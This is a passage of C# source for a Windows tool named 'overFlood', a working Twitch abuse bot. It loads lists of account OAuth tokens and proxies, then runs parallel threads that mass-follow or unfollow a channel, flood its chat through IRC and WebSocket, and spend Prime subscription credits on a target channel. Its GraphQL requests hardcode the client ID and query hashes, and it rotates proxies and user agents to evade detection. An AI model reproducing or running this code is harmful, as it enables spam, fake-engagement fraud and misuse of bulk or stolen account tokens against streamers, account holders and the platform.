Tokens"); 1590 | if (string.IsNullOrEmpty(fileName)) return; 1591 | followTokens = Utilities.LoadFile(fileName); 1592 | lblFollowTokens.Text = $"Tokens: {followTokens.Count()}"; 1593 | MessageBox.Show($"Loaded {followTokens.Count()} tokens.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1594 | } 1595 | catch (Exception ex) 1596 | { 1597 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 1598 | } 1599 | } 1600 | 1601 | private bool follow; 1602 | 1603 | private async void btnFollowStart_Click(object sender, EventArgs e) 1604 | { 1605 | if (txtFollowChannel.Text == "") 1606 | { 1607 | MessageBox.Show("Please enter a channel name.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 1608 | return; 1609 | } 1610 | 1611 | if (chkFollowUseProxies.Checked && (followProxies == null || !followProxies.Any())) 1612 | { 1613 | MessageBox.Show("Upload proxies list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 1614 | return; 1615 | } 1616 | 1617 | if (followTokens == null || !followTokens.Any()) 1618 | { 1619 | MessageBox.Show("Upload tokens list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 1620 | return; 1621 | } 1622 | 1623 | if (Convert.ToInt32(txtFollowAmount.Text) > followTokens.Count()) 1624 | { 1625 | MessageBox.Show("The follow amount cannot be greater than the amount of tokens.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 1626 | return; 1627 | } 1628 | 1629 | followChannelId = GetChannel(txtFollowChannel.Text); 1630 | 1631 | if (string.IsNullOrEmpty(followChannelId)) 1632 | { 1633 | MessageBox.Show("The streamer doesn't exist or an error occured.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 1634 | return; 1635 | } 1636 | 1637 | follow = radioFollow.Checked; 1638 | 1639 | radioFollow.Enabled = false; 1640 | radioUnfollow.Enabled = false; 1641 | btnFollowLoadTokens.Enabled = false; 1642 | txtFollowChannel.Enabled = false; 1643 | txtFollowAmount.Enabled = false; 1644 | txtFollowThreads.Enabled = false; 1645 | btnFollowLoadProxies.Enabled = false; 1646 | comboFollowProxyType.Enabled = false; 1647 | txtFollowTimeout.Enabled = false; 1648 | btnFollowStart.Enabled = false; 1649 | btnFollowStop.Enabled = true; 1650 | lblFollowSent.Text = "Follows Sent: 0"; 1651 | lblFollowRemoved.Text = "Follows Removed: 0"; 1652 | lblFollowFail.Text = "Failed: 0"; 1653 | followSent = 0; 1654 | followRemoved = 0; 1655 | followFailed = 0; 1656 | 1657 | ThreadPool.SetMinThreads(Convert.ToInt32(txtFollowThreads.Text), Convert.ToInt32(txtFollowThreads.Text)); 1658 | 1659 | followTokenSource = new CancellationTokenSource(); 1660 | CancellationToken token = followTokenSource.Token; 1661 | 1662 | ParallelOptions parallelOptions = new ParallelOptions 1663 | { 1664 | MaxDegreeOfParallelism = Convert.ToInt32(txtFollowThreads.Text), 1665 | CancellationToken = token 1666 | }; 1667 | 1668 | try 1669 | { 1670 | await Task.Run(() => Parallel.ForEach(followTokens.Take(Convert.ToInt32(txtFollowAmount.Text)), parallelOptions, FollowThread), token); 1671 | } 1672 | catch (OperationCanceledException) 1673 | { 1674 | // ignored 1675 | } 1676 | 1677 | radioFollow.Enabled = true; 1678 | radioUnfollow.Enabled = true; 1679 | btnFollowLoadTokens.Enabled = true; 1680 | txtFollowChannel.Enabled = true; 1681 | txtFollowAmount.Enabled = true; 1682 | txtFollowThreads.Enabled = true; 1683 | btnFollowLoadProxies.Enabled = true; 1684 | comboFollowProxyType.Enabled = true; 1685 | txtFollowTimeout.Enabled = true; 1686 | btnFollowStart.Enabled = true; 1687 | btnFollowStop.Enabled = false; 1688 | 1689 | if (follow) 1690 | MessageBox.Show($"Sent {followSent} follows to {txtFollowChannel.Text}", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1691 | else 1692 | MessageBox.Show($"Removed {followRemoved} follows from {txtFollowChannel.Text}", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1693 | } 1694 | 1695 | private void FollowThread(string token) 1696 | { 1697 | if (followTokenSource.IsCancellationRequested) 1698 | { 1699 | return; 1700 | } 1701 | 1702 | try 1703 | { 1704 | if (token.Contains(":")) 1705 | token = token.Contains("oauth:") ? token.Split(':')[1] : token.Split(':')[0]; 1706 | string userId = CheckToken1(token); 1707 | string text; 1708 | while ((text = FollowChannel(token)) == "request error") 1709 | { 1710 | } 1711 | if (follow) 1712 | { 1713 | if (!text.Contains("id\":\"" + followChannelId + "\",\"displayName\":")) 1714 | { 1715 | Interlocked.Increment(ref followFailed); 1716 | lblFollowFail.Text = $"Failed: {followFailed}"; 1717 | } 1718 | else 1719 | { 1720 | Interlocked.Increment(ref followSent); 1721 | lblFollowSent.Text = $"Follows Sent: {followSent}"; 1722 | } 1723 | } 1724 | else 1725 | { 1726 | if (!text.Contains("[{\"data\":{\"unfollowUser\":{\"follow\"")) 1727 | { 1728 | Interlocked.Increment(ref followFailed); 1729 | lblFollowFail.Text = $"Failed: {followFailed}"; 1730 | } 1731 | else 1732 | { 1733 | Interlocked.Increment(ref followRemoved); 1734 | lblFollowRemoved.Text = $"Follows Removed: {followRemoved}"; 1735 | } 1736 | } 1737 | } 1738 | catch (Exception) 1739 | { 1740 | Interlocked.Increment(ref followFailed); 1741 | lblFollowFail.Text = $"Failed: {followFailed}"; 1742 | } 1743 | 1744 | Thread.Sleep(Convert.ToInt32(txtFollowDelay.Text)); 1745 | } 1746 | 1747 | private string FollowChannel(string token) 1748 | { 1749 | string result; 1750 | using (HttpRequest httpRequest = new HttpRequest()) 1751 | { 1752 | try 1753 | { 1754 | if (chkFollowUseProxies.Checked) 1755 | { 1756 | ProxyType proxyType; 1757 | 1758 | switch (comboFollowProxyType.Text) 1759 | { 1760 | case "HTTP": 1761 | proxyType = ProxyType.HTTP; 1762 | break; 1763 | case "SOCKS4": 1764 | proxyType = ProxyType.Socks4; 1765 | break; 1766 | case "SOCKS4a": 1767 | proxyType = ProxyType.Socks4A; 1768 | break; 1769 | case "SOCKS5": 1770 | proxyType = ProxyType.Socks5; 1771 | break; 1772 | default: 1773 | proxyType = ProxyType.HTTP; 1774 | break; 1775 | } 1776 | 1777 | int index = new Random().Next(followProxies.Count()); 1778 | ProxyClient proxyClient = ProxyClient.Parse(proxyType, followProxies[index]); 1779 | proxyClient.ReadWriteTimeout = Convert.ToInt32(txtFollowTimeout.Text); 1780 | proxyClient.ConnectTimeout = Convert.ToInt32(txtFollowTimeout.Text); 1781 | httpRequest.Proxy = proxyClient; 1782 | } 1783 | 1784 | httpRequest.UserAgent = Http.RandomUserAgent(); 1785 | httpRequest.Referer = "https://www.twitch.tv/"; 1786 | httpRequest.IgnoreProtocolErrors = true; 1787 | httpRequest.Reconnect = false; 1788 | httpRequest.Authorization = "OAuth " + token; 1789 | httpRequest.AddHeader("Pragma", "no-cache"); 1790 | httpRequest.AddHeader("Origin", "https://twitch.tv"); 1791 | httpRequest.AddHeader("Client-Id", "kimne78kx3ncx6brgo4mv6wki5h1ko"); 1792 | string str; 1793 | if (follow) 1794 | str = "[{\"operationName\":\"FollowButton_FollowUser\",\"variables\":{\"input\":{\"disableNotifications\":false,\"targetID\":\"" + followChannelId + "\"}},\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"51956f0c469f54e60211ea4e6a34b597d45c1c37b9664d4b62096a1ac03be9e6\"}}}]"; 1795 | else 1796 | str = "[{\"operationName\":\"FollowButton_UnfollowUser\",\"variables\":{\"input\":{\"targetID\":\"" + followChannelId + "\"}},\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"d7fbdb4e9780dcdc0cc1618ec783309471cd05a59584fc3c56ea1c52bb632d41\"}}}]"; 1797 | result = httpRequest.Post("https://gql.twitch.tv/gql", str, "text/plain;charset=UTF-8").ToString(); 1798 | } 1799 | catch (Exception) 1800 | { 1801 | result = "request error"; 1802 | } 1803 | } 1804 | return result; 1805 | } 1806 | 1807 | private void btnFollowStop_Click(object sender, EventArgs e) 1808 | { 1809 | followTokenSource.Cancel(); 1810 | } 1811 | #endregion 1812 | 1813 | #region Chat Bot Methods 1814 | private void chkChatUseProxies_CheckedChanged(object sender, EventArgs e) 1815 | { 1816 | btnChatLoadProxies.Enabled = chkChatUseProxies.Checked; 1817 | txtChatTimeout.Enabled = chkChatUseProxies.Checked; 1818 | } 1819 | 1820 | private void btnChatLoadProxies_Click(object sender, EventArgs e) 1821 | { 1822 | try 1823 | { 1824 | string fileName = Utilities.OpenFileDialog("Load Proxies"); 1825 | if (string.IsNullOrEmpty(fileName)) return; 1826 | chatProxies = Utilities.LoadFile(fileName); 1827 | lblChatProxies.Text = $"Proxies: {chatProxies.Count()}"; 1828 | MessageBox.Show($"Loaded {chatProxies.Count()} proxies.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1829 | } 1830 | catch (Exception ex) 1831 | { 1832 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 1833 | } 1834 | } 1835 | 1836 | private void btnChatLoadTokens_Click(object sender, EventArgs e) 1837 | { 1838 | try 1839 | { 1840 | string fileName = Utilities.OpenFileDialog("Load Tokens"); 1841 | if (string.IsNullOrEmpty(fileName)) return; 1842 | chatTokens = Utilities.LoadFile(fileName); 1843 | lblChatTokens.Text = $"Tokens: {chatTokens.Count()}"; 1844 | MessageBox.Show($"Loaded {chatTokens.Count()} tokens.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1845 | } 1846 | catch (Exception ex) 1847 | { 1848 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 1849 | } 1850 | } 1851 | 1852 | private void btnLoadMessages_Click(object sender, EventArgs e) 1853 | { 1854 | string fileName = Utilities.OpenFileDialog("Load Messages"); 1855 | if (string.IsNullOrEmpty(fileName)) return; 1856 | messages = Utilities.LoadFile(fileName); 1857 | lblMessages.Text = $"Messages: {messages.Count()}"; 1858 | MessageBox.Show($"Loaded {messages.Count()} messages.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1859 | } 1860 | 1861 | private async void btnChatStart_Click(object sender, EventArgs e) 1862 | { 1863 | if (chkChatUseProxies.Checked && (chatProxies == null || !chatProxies.Any())) 1864 | { 1865 | MessageBox.Show("Upload proxies list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 1866 | return; 1867 | } 1868 | 1869 | if (chatTokens == null || !chatTokens.Any()) 1870 | { 1871 | MessageBox.Show("Upload tokens list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 1872 | return; 1873 | } 1874 | 1875 | if (messages == null || !messages.Any()) 1876 | { 1877 | MessageBox.Show("Upload messages list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 1878 | return; 1879 | } 1880 | 1881 | comboChatProxyType.Enabled = false; 1882 | txtChatTimeout.Enabled = false; 1883 | txtChatChannel.Enabled = false; 1884 | txtChatBots.Enabled = false; 1885 | txtChatDelay.Enabled = false; 1886 | btnChatLoadProxies.Enabled = false; 1887 | btnChatLoadTokens.Enabled = false; 1888 | btnLoadMessages.Enabled = false; 1889 | chkChatUseProxies.Enabled = false; 1890 | btnChatStart.Enabled = false; 1891 | btnChatStop.Enabled = true; 1892 | messagesSuccess = 0; 1893 | messagesFail = 0; 1894 | lblSuccess.Text = "Success: 0"; 1895 | lblMessagesFail.Text = "Fail: 0"; 1896 | 1897 | t = (int)Math.Ceiling(chatTokens.Count() / Convert.ToDouble(txtChatBots.Text)); 1898 | 1899 | ThreadPool.SetMinThreads(Convert.ToInt32(txtChatBots.Text), Convert.ToInt32(txtChatBots.Text)); 1900 | 1901 | chatTokenSource = new CancellationTokenSource(); 1902 | CancellationToken cancellationToken = chatTokenSource.Token; 1903 | 1904 | ParallelOptions parallelOptions = new ParallelOptions 1905 | { 1906 | MaxDegreeOfParallelism = Convert.ToInt32(txtChatBots.Text), 1907 | CancellationToken = cancellationToken 1908 | }; 1909 | 1910 | try 1911 | { 1912 | await Task.Run(() => Parallel.For(0, Convert.ToInt32(txtChatBots.Text), parallelOptions, ChatBot), cancellationToken); 1913 | } 1914 | catch (OperationCanceledException) 1915 | { 1916 | // ignored 1917 | } 1918 | 1919 | comboChatProxyType.Enabled = true; 1920 | txtChatTimeout.Enabled = true; 1921 | btnLoadMessages.Enabled = true; 1922 | btnChatLoadProxies.Enabled = true; 1923 | btnChatLoadTokens.Enabled = true; 1924 | txtChatDelay.Enabled = true; 1925 | txtChatChannel.Enabled = true; 1926 | txtChatBots.Enabled = true; 1927 | chkChatUseProxies.Enabled = true; 1928 | btnChatStart.Enabled = true; 1929 | btnChatStop.Enabled = false; 1930 | MessageBox.Show($"Sent {messagesSuccess} messages.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1931 | } 1932 | 1933 | private async void ChatBot(int bots) 1934 | { 1935 | if (chatTokenSource.IsCancellationRequested) 1936 | { 1937 | return; 1938 | } 1939 | 1940 | int num = t * bots; 1941 | int num2 = Math.Min(chatTokens.Count() - num, t); 1942 | 1943 | if (num2 >= 1) 1944 | { 1945 | List range = chatTokens.ToList().GetRange(num, num2); 1946 | 1947 | while (true) 1948 | { 1949 | Random random = new Random(); 1950 | string str = range[random.Next(range.Count)]; 1951 | if (str.Contains(":")) 1952 | str = str.Contains("oauth:") ? str.Split(':')[1] : str.Split(':')[0]; 1953 | string str2 = messages[random.Next(messages.Count())]; 1954 | 1955 | if (chkChatUseProxies.Checked) 1956 | { 1957 | try 1958 | { 1959 | ProxyType proxyType; 1960 | 1961 | switch (comboChatProxyType.Text) 1962 | { 1963 | case "HTTP": 1964 | proxyType = ProxyType.HTTP; 1965 | break; 1966 | case "SOCKS4": 1967 | proxyType = ProxyType.Socks4; 1968 | break; 1969 | case "SOCKS4a": 1970 | proxyType = ProxyType.Socks4A; 1971 | break; 1972 | case "SOCKS5": 1973 | proxyType = ProxyType.Socks5; 1974 | break; 1975 | default: 1976 | proxyType = ProxyType.HTTP; 1977 | break; 1978 | } 1979 | 1980 | int index = new Random().Next(chatProxies.Count()); 1981 | ProxyClient proxyClient = ProxyClient.Parse(proxyType, chatProxies[index]); 1982 | proxyClient.ReadWriteTimeout = Convert.ToInt32(txtChatTimeout.Text); 1983 | proxyClient.ConnectTimeout = Convert.ToInt32(txtChatTimeout.Text); 1984 | 1985 | using (TcpClient tcpClient = proxyClient.CreateConnection("irc.chat.twitch.tv", 6667)) 1986 | { 1987 | using (StreamWriter streamWriter = new StreamWriter(tcpClient.GetStream())) 1988 | { 1989 | streamWriter.AutoFlush = true; 1990 | 1991 | if (tcpClient.Connected) 1992 | { 1993 | await streamWriter.WriteLineAsync($"PASS oauth:{str}"); 1994 | await streamWriter.WriteLineAsync("NICK importaeh"); 1995 | await streamWriter.WriteLineAsync($"JOIN #{txtChatChannel.Text}"); 1996 | await streamWriter.WriteLineAsync($"PRIVMSG #{txtChatChannel.Text} :{str2}"); 1997 | 1998 | Interlocked.Increment(ref messagesSuccess); 1999 | lblSuccess.Text = $"Success: {messagesSuccess}"; 2000 | 2001 | if (chatTokenSource.IsCancellationRequested) 2002 | { 2003 | break; 2004 | } 2005 | } 2006 | } 2007 | } 2008 | } 2009 | catch (Exception) 2010 | { 2011 | Interlocked.Increment(ref messagesFail); 2012 | lblMessagesFail.Text = $"Fail: {messagesFail}"; 2013 | } 2014 | 2015 | Thread.Sleep(Convert.ToInt32(txtChatDelay.Text)); 2016 | } 2017 | else 2018 | { 2019 | using (ClientWebSocket clientWebSocket = new ClientWebSocket()) 2020 | { 2021 | try 2022 | { 2023 | clientWebSocket.ConnectAsync(new Uri("wss://irc-ws.chat.twitch.tv"), CancellationToken.None).Wait(); 2024 | 2025 | clientWebSocket.SendAsync(new ArraySegment(Encoding.UTF8.GetBytes("CAP REQ :twitch.tv/tags twitch.tv/commands")), WebSocketMessageType.Text, true, CancellationToken.None).Wait(); 2026 | clientWebSocket.SendAsync(new ArraySegment(Encoding.UTF8.GetBytes("PASS oauth:" + str)), WebSocketMessageType.Text, true, CancellationToken.None).Wait(); 2027 | clientWebSocket.SendAsync(new ArraySegment(Encoding.UTF8.GetBytes("NICK importaeh")), WebSocketMessageType.Text, true, CancellationToken.None).Wait(); 2028 | clientWebSocket.SendAsync(new ArraySegment(Encoding.UTF8.GetBytes("JOIN " + txtChatChannel.Text)), WebSocketMessageType.Text, true, CancellationToken.None).Wait(); 2029 | clientWebSocket.SendAsync(new ArraySegment(Encoding.UTF8.GetBytes("PRIVMSG #" + txtChatChannel.Text + " :" + str2)), WebSocketMessageType.Text, true, CancellationToken.None).Wait(); 2030 | 2031 | Interlocked.Increment(ref messagesSuccess); 2032 | lblSuccess.Text = $"Success: {messagesSuccess}"; 2033 | 2034 | if (chatTokenSource.IsCancellationRequested) 2035 | { 2036 | break; 2037 | } 2038 | } 2039 | catch (Exception) 2040 | { 2041 | Interlocked.Increment(ref messagesFail); 2042 | lblMessagesFail.Text = $"Fail: {messagesFail}"; 2043 | } 2044 | } 2045 | 2046 | Thread.Sleep(Convert.ToInt32(txtChatDelay.Text)); 2047 | } 2048 | } 2049 | } 2050 | } 2051 | 2052 | private void btnChatStop_Click(object sender, EventArgs e) 2053 | { 2054 | chatTokenSource.Cancel(); 2055 | } 2056 | #endregion 2057 | 2058 | #region Sub Bot Methods 2059 | private void chkSubUseProxies_CheckedChanged(object sender, EventArgs e) 2060 | { 2061 | txtSubTimeout.Enabled = chkSubUseProxies.Checked; 2062 | btnSubLoadProxies.Enabled = chkSubUseProxies.Checked; 2063 | } 2064 | 2065 | private void btnSubLoadProxies_Click(object sender, EventArgs e) 2066 | { 2067 | try 2068 | { 2069 | string fileName = Utilities.OpenFileDialog("Load Proxies"); 2070 | if (string.IsNullOrEmpty(fileName)) return; 2071 | subProxies = Utilities.LoadFile(fileName); 2072 | lblSubProxies.Text = $"Proxies: {subProxies.Count()}"; 2073 | MessageBox.Show($"Loaded {subProxies.Count()} proxies.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 2074 | } 2075 | catch (Exception ex) 2076 | { 2077 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 2078 | } 2079 | } 2080 | 2081 | private void btnSubLoadTokens_Click(object sender, EventArgs e) 2082 | { 2083 | try 2084 | { 2085 | string fileName = Utilities.OpenFileDialog("Load Tokens"); 2086 | if (string.IsNullOrEmpty(fileName)) return; 2087 | subTokens = Utilities.LoadFile(fileName); 2088 | lblSubTokens.Text = $"Tokens: {subTokens.Count()}"; 2089 | MessageBox.Show($"Loaded {subTokens.Count()} tokens.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 2090 | } 2091 | catch (Exception ex) 2092 | { 2093 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 2094 | } 2095 | } 2096 | 2097 | private async void btnSubStart_Click(object sender, EventArgs e) 2098 | { 2099 | if (chkSubUseProxies.Checked && (subProxies == null || !subProxies.Any())) 2100 | { 2101 | MessageBox.Show("Upload proxies list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 2102 | return; 2103 | } 2104 | 2105 | if (subTokens == null || !subTokens.Any()) 2106 | { 2107 | MessageBox.Show("Upload tokens list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 2108 | return; 2109 | } 2110 | 2111 | subChannelId = GetChannel(txtSubChannel.Text); 2112 | 2113 | if (string.IsNullOrEmpty(subChannelId)) 2114 | { 2115 | MessageBox.Show("The streamer doesn't exist or an error occured.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 2116 | return; 2117 | } 2118 | 2119 | txtSubChannel.Enabled = false; 2120 | txtSubBots.Enabled = false; 2121 | txtSubDelay.Enabled = false; 2122 | btnSubLoadTokens.Enabled = false; 2123 | comboSubProxyType.Enabled = false; 2124 | btnSubLoadProxies.Enabled = false; 2125 | txtSubTimeout.Enabled = false; 2126 | btnSubStart.Enabled = false; 2127 | btnSubStop.Enabled = true; 2128 | lblSubSuccess.Text = "Success: 0"; 2129 | lblSubFail.Text = "Fail: 0"; 2130 | success = 0; 2131 | fail = 0; 2132 | 2133 | ThreadPool.SetMinThreads(Convert.ToInt32(txtSubBots.Text), Convert.ToInt32(txtSubBots.Text)); 2134 | 2135 | subTokenSource = new CancellationTokenSource(); 2136 | CancellationToken cancellationToken = subTokenSource.Token; 2137 | 2138 | ParallelOptions parallelOptions = new ParallelOptions 2139 | { 2140 | MaxDegreeOfParallelism = Convert.ToInt32(txtSubBots.Text), 2141 | CancellationToken = cancellationToken 2142 | }; 2143 | 2144 | try 2145 | { 2146 | await Task.Run(() => Parallel.ForEach(subTokens, parallelOptions, SubBot), cancellationToken); 2147 | } 2148 | catch (OperationCanceledException) 2149 | { 2150 | // ignored 2151 | } 2152 | 2153 | btnSubLoadTokens.Enabled = true; 2154 | comboSubProxyType.Enabled = true; 2155 | btnSubLoadProxies.Enabled = true; 2156 | txtSubTimeout.Enabled = true; 2157 | txtSubChannel.Enabled = true; 2158 | txtSubBots.Enabled = true; 2159 | txtSubDelay.Enabled = true; 2160 | btnSubStart.Enabled = true; 2161 | btnSubStop.Enabled = false; 2162 | MessageBox.Show($"Sent {success} subscribers to {txtSubChannel.Text}.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 2163 | } 2164 | 2165 | private string CheckToken1(string token) 2166 | { 2167 | string result; 2168 | using (HttpRequest httpRequest = new HttpRequest()) 2169 | { 2170 | httpRequest.IgnoreProtocolErrors = true; 2171 | httpRequest.KeepAlive = true; 2172 | httpRequest.AddHeader("Authorization", "OAuth " + token); 2173 | httpRequest.AddHeader("Client-Id", "kimne78kx3ncx6brgo4mv6wki5h1ko"); 2174 | try 2175 | { 2176 | string input = httpRequest.Post("https://gql.twitch.tv/gql", "[{\"operationName\":\"BitsCard_Bits\",\"variables\":{},\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"fe1052e19ce99f10b5bd9ab63c5de15405ce87a1644527498f0fc1aadeff89f2\"}}},{\"operationName\":\"BitsCard_MainCard\",\"variables\":{\"name\":\"214062798\",\"withCheerBombEventEnabled\":false},\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"88cb043070400a165104f9ce491f02f26c0b571a23b1abc03ef54025f6437848\"}}}]", "text/plain;charset=UTF-8").ToString(); 2177 | result = new Regex("id\":\"(.*?)\"").Match(input).Groups[1].Value; 2178 | } 2179 | catch (Exception) 2180 | { 2181 | result = "request error"; 2182 | } 2183 | } 2184 | return result; 2185 | } 2186 | 2187 | private void SubBot(string token) 2188 | { 2189 | if (subTokenSource.IsCancellationRequested) 2190 | { 2191 | return; 2192 | } 2193 | 2194 | try 2195 | { 2196 | if (token.Contains(":")) 2197 | token = token.Contains("oauth:") ? token.Split(':')[1] : token.Split(':')[0]; 2198 | string userId = CheckToken1(token); 2199 | if (string.IsNullOrEmpty(userId)) 2200 | { 2201 | Interlocked.Increment(ref fail); 2202 | lblSubFail.Text = $"Fail: {fail}"; 2203 | return; 2204 | }; 2205 | string response; 2206 | while ((response = SubChannel(token, subChannelId, userId)) == "request error") 2207 | { 2208 | } 2209 | if (!response.Contains("error\":null,")) 2210 | { 2211 | Interlocked.Increment(ref fail); 2212 | lblSubFail.Text = $"Fail: {fail}"; 2213 | } 2214 | else 2215 | { 2216 | Interlocked.Increment(ref success); 2217 | lblSubSuccess.Text = $"Success: {success}"; 2218 | } 2219 | } 2220 | catch (Exception) 2221 | { 2222 | Interlocked.Increment(ref fail); 2223 | lblSubFail.Text = $"Fail: {fail}"; 2224 | } 2225 | 2226 | Thread.Sleep(Convert.ToInt32(txtSubDelay.Text)); 2227 | } 2228 | 2229 | private string SubChannel(string token, string channelId, string userId) 2230 | { 2231 | string result; 2232 | using (HttpRequest httpRequest = new HttpRequest()) 2233 | { 2234 | try 2235 | { 2236 | if (chkSubUseProxies.Checked) 2237 | { 2238 | ProxyType proxyType; 2239 | 2240 | switch (comboSubProxyType.Text) 2241 | { 2242 | case "HTTP": 2243 | proxyType = ProxyType.HTTP; 2244 | break; 2245 | case "SOCKS4": 2246 | proxyType = ProxyType.Socks4; 2247 | break; 2248 | case "SOCKS4a": 2249 | proxyType = ProxyType.Socks4A; 2250 | break; 2251 | case "SOCKS5": 2252 | proxyType = ProxyType.Socks5; 2253 | break; 2254 | default: 2255 | proxyType = ProxyType.HTTP; 2256 | break; 2257 | } 2258 | 2259 | int index = new Random().Next(subProxies.Count()); 2260 | ProxyClient proxyClient = ProxyClient.Parse(proxyType, subProxies[index]); 2261 | proxyClient.ReadWriteTimeout = Convert.ToInt32(txtSubTimeout.Text); 2262 | proxyClient.ConnectTimeout = Convert.ToInt32(txtSubTimeout.Text); 2263 | httpRequest.Proxy = proxyClient; 2264 | } 2265 | 2266 | httpRequest.UserAgent = Http.RandomUserAgent(); 2267 | httpRequest.Referer = "https://www.twitch.tv/" + txtSubChannel.Text.ToLower(); 2268 | httpRequest.IgnoreProtocolErrors = true; 2269 | httpRequest.Reconnect = false; 2270 | httpRequest.Authorization = "OAuth " + token; 2271 | httpRequest.AddHeader("Pragma", "no-cache"); 2272 | httpRequest.AddHeader("Origin", "https://twitch.tv"); 2273 | httpRequest.AddHeader("Client-Id", "kimne78kx3ncx6brgo4mv6wki5h1ko"); 2274 | string str = string.Concat("{\"operationName\":\"PrimeSubscribe_SpendPrimeSubscriptionCredit\",\"variables\":{\"input\":{\"broadcasterID\":\"", channelId, "\",\"userID\":\"", userId, "\"}},\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"639d5286f985631f9ff66c5bd622d839f73113bae9ed44ec371aa9110563254c\"}}}"); 2275 | 2276 | result = httpRequest.Post("https://gql.twitch.tv/gql", str, "text/plain;charset=UTF-8").ToString(); 2277 | } 2278 | catch (Exception) 2279 | { 2280 | result = "request error"; 2281 | } 2282 | } 2283 | return result; 2284 | } 2285 | 2286 | private void btnSubStop_Click(object sender, EventArgs e) 2287 | { 2288 | subTokenSource.Cancel(); 2289 | } 2290 | #endregion 2291 | 2292 | #region Bit Sender Methods 2293 | private void chkBitUseProxies_CheckedChanged(object sender, EventArgs e) 2294 | { 2295 | txtBitTimeout.Enabled = chkBitUseProxies.Checked; 2296 | btnBitLoadProxies.Enabled = chkBitUseProxies.Checked; 2297 | } 2298 | 2299 | private void btnBitLoadProxies_Click(object sender, EventArgs e) 2300 | { 2301 | try 2302 | { 2303 | string fileName = Utilities.OpenFileDialog("Load Proxies"); 2304 | if (string.IsNullOrEmpty(fileName)) return; 2305 | bitProxies = Utilities.LoadFile(fileName); 2306 | lblBitProxies.Text = $"Proxies: {bitProxies.Count()}"; 2307 | MessageBox.Show($"Loaded {bitProxies.Count()} proxies.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 2308 | } 2309 | catch (Exception ex) 2310 | { 2311 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 2312 | } 2313 | } 2314 | 2315 | private void btnBitLoadTokens_Click(object sender, EventArgs e) 2316 | { 2317 | try 2318 | { 2319 | string fileName = Utilities.OpenFileDialog("Load Tokens"); 2320 | if (string.IsNullOrEmpty(fileName)) return; 2321 | bitTokens = Utilities.LoadFile(fileName); 2322 | lblBitTokens.Text = $"Tokens: {bitTokens.Count()}"; 2323 | MessageBox.Show($"Loaded {bitTokens.Count()} tokens.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 2324 | } 2325 | catch (Exception ex) 2326 | { 2327 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 2328 | } 2329 | } 2330 | 2331 | private async void btnBitStart_Click(object sender, EventArgs e) 2332 | { 2333 | if (chkBitUseProxies.Checked && (bitProxies == null || !bitProxies.Any())) 2334 | { 2335 | MessageBox.Show("Upload proxies list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 2336 | return; 2337 | } 2338 | 2339 | if (bitTokens == null || !bitTokens.Any()) 2340 | { 2341 | MessageBox.Show("Upload tokens list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 2342 | return; 2343 | } 2344 | 2345 | bitChannelId = GetChannel(txtBitChannel.Text); 2346 | 2347 | if (string.IsNullOrEmpty(bitChannelId)) 2348 | { 2349 | MessageBox.Show("The streamer doesn't exist or an error occured.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 2350 | return; 2351 | } 2352 | 2353 | txtBitChannel.Enabled = false; 2354 | txtBitBots.Enabled = false; 2355 | txtBitDelay.Enabled = false; 2356 | btnBitLoadTokens.Enabled = false; 2357 | comboBitProxyType.Enabled = false; 2358 | btnBitLoadProxies.Enabled = false; 2359 | txtBitTimeout.Enabled = false; 2360 | btnBitStart.Enabled = false; 2361 | btnBitStop.Enabled = true; 2362 | bitSuccess = 0; 2363 | bitFail = 0; 2364 | lblBitSuccess.Text = "Success: 0"; 2365 | lblBitFail.Text = "Fail: 0"; 2366 | 2367 | ThreadPool.SetMinThreads(Convert.ToInt32(txtBitBots.Text), Convert.ToInt32(txtBitBots.Text)); 2368 | 2369 | bitTokenSource = new CancellationTokenSource(); 2370 | CancellationToken cancellationToken = bitTokenSource.Token; 2371 | 2372 | ParallelOptions parallelOptions = new ParallelOptions 2373 | { 2374 | MaxDegreeOfParallelism = Convert.ToInt32(txtBitBots.Text), 2375 | CancellationToken = cancellationToken 2376 | }; 2377 | 2378 | try 